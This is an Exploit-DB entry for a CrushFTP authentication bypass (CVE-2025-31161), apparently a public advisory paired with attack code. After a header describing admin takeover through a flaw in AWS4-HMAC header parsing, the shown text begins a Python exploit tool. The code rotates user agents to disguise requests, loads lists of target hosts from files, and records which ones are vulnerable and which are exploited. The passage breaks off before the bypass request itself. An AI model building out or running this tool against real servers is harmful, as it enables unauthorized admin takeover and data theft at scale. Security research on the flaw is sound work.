Exploit-DB #52295
Description: CrushFTP 11.3.1 - Authentication Bypass
Type: remote
Platform: multiple
Date: 2025-05-18
Author: İbrahimsql

Exploit:
# Exploit Title: CrushFTP 11.3.1 - Authentication Bypass
# Date: 2025-05-15
# Exploit Author: @İbrahimsql
# Exploit Author's github: https://github.com/ibrahimsql  
# Vendor Homepage: https://www.crushftp.com
# Software Link: https://www.crushftp.com/download.html
# Version: < 10.8.4, < 11.3.1
# Tested on: Ubuntu 22.04 LTS, Windows Server 2019, Kali Linux 2024.1
# CVE: CVE-2025-31161
# Description:
# CrushFTP before 10.8.4 and 11.3.1 allows unauthenticated HTTP(S) port access and full admin takeover
# through a race condition and header parsing logic flaw in the AWS4-HMAC authorization mechanism.
# Exploiting this allows bypassing authentication and logging in as any known user (e.g. crushadmin).

# Requirements: requests>=2.28.1 , colorama>=0.4.6 , urllib3>=1.26.12 , prettytable>=2.5.0 , rich>=12.6.0

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import argparse
import concurrent.futures
import json
import logging
import os
import random
import re
import socket
import string
import sys
import time
from datetime import datetime
from typing import Dict, List, Optional, Tuple, Union

import requests
import urllib3
from colorama import Fore, Style, init
from prettytable import PrettyTable
from rich.console import Console
from rich.progress import Progress, BarColumn, TextColumn, TimeRemainingColumn

# Initialize colorama
init(autoreset=True)

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Initialize Rich console
console = Console()

# Global variables
VERSION = "2.0.0"
USER_AGENTS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 11.5; rv:90.0) Gecko/20100101 Firefox/90.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_5_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15",
    "Mozilla/5.0 (Windows; Windows NT 10.3; WOW64) AppleWebKit/601.13 (KHTML, like Gecko) Chrome/53.0.2198.319 Safari/601.5 Edge/15.63524",
    "Mozilla/5.0 (Windows NT 10.2; Win64; x64; en-US) AppleWebKit/602.15 (KHTML, like Gecko) Chrome/47.0.1044.126 Safari/533.2 Edge/9.25098",
    "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.3; Win64; x64; en-US Trident/4.0)",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 10_7_9; like Mac OS X) AppleWebKit/535.7 (KHTML, like Gecko)  Chrome/49.0.1015.193 Mobile Safari/600.9"   
]

# Banner 
BANNER = fr"""
{Fore.CYAN}          
  / ____/______  _______/ /_  / ____/ /_____ 
 / /   / ___/ / / / ___/ __ \/ /_  / __/ __ \
/ /___/ /  / /_/ (__  ) / / / __/ / /_/ /_/ /
\____/_/   \__,_/____/_/ /_/_/    \__/ .___/ 
                                    /_/      
{Fore.GREEN}CVE-2025-31161 Exploit {VERSION}{Fore.YELLOW} | {Fore.CYAN} Developer @ibrahimsql
{Style.RESET_ALL}
"""

# Setup logging
def setup_logging(log_level: str, log_file: Optional[str] = None) -> None:
    """Configure logging based on specified level and output file."""
    numeric_level = getattr(logging, log_level.upper(), None)
    if not isinstance(numeric_level, int):
        raise ValueError(f"Invalid log level: {log_level}")
    
    log_format = "%(asctime)s - %(levelname)s - %(message)s"
    handlers = []
    
    if log_file:
        handlers.append(logging.FileHandler(log_file))
    
    handlers.append(logging.StreamHandler())
    
    logging.basicConfig(
        level=numeric_level,
        format=log_format,
        handlers=handlers
    )

class TargetManager:
    """Manages target hosts and related operations."""
    
    def __init__(self, target_file: Optional[str] = None, single_target: Optional[str] = None):
        self.targets = []
        self.vulnerable_targets = []
        self.exploited_targets = []
        
        if target_file:
            self.load_targets_from_file(target_file)
        elif single_target:
            self.add_target(single_target)
    
    def load_targets_from_file(self, filename: str) -> None:
        """Load targets from a file."""
        try:
            with open(filename, "r") as f:
                self.targets = [line.strip() for line in f if line.strip()]
            
            if not self.targets:
                logging.warning(f"Target file '{filename}' is empty or contains only whitespace.")
            else:
                logging.info(f"Loaded {len(self.targets)} targets from {filename}")
        except FileNotFoundError:
            logging.error(f"Target file '{filename}' not found.")
            sys.exit(1)
        except Exception as e:
            logging.error(f"Error loading targets: {e}")
            sys.exit(1)
    
    def add_target(self, target: str) -> None:
        """Add a single target."""
        if target not in self.targets:
            self.targets.append(target)
    
    def mark_as_vulnerable(self, target: str) -> None:
        """Mark a target as vulnerable."""
        if target not in self.vulnerable_targets:
            self.vulnerable_targets.append(target)
    
    def mark_as_exploited(self, target: str) -> None:
        """Mark a target as successfully exploited."""
        if target not in self.exploited_targets:
            self.exploited_targets.append(target)
    
    def save_results(self, output_file: str, format_type: str = "txt") -> None:
        """Save scan results to a file."""
        try:
            if format_type.lower() == "json":
                results = {
                    "scan_time": datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
                    "total_targets": len(self.targets),
                    "vulnerable_targets": self.vulnerable_targets,
                    "exploited_ta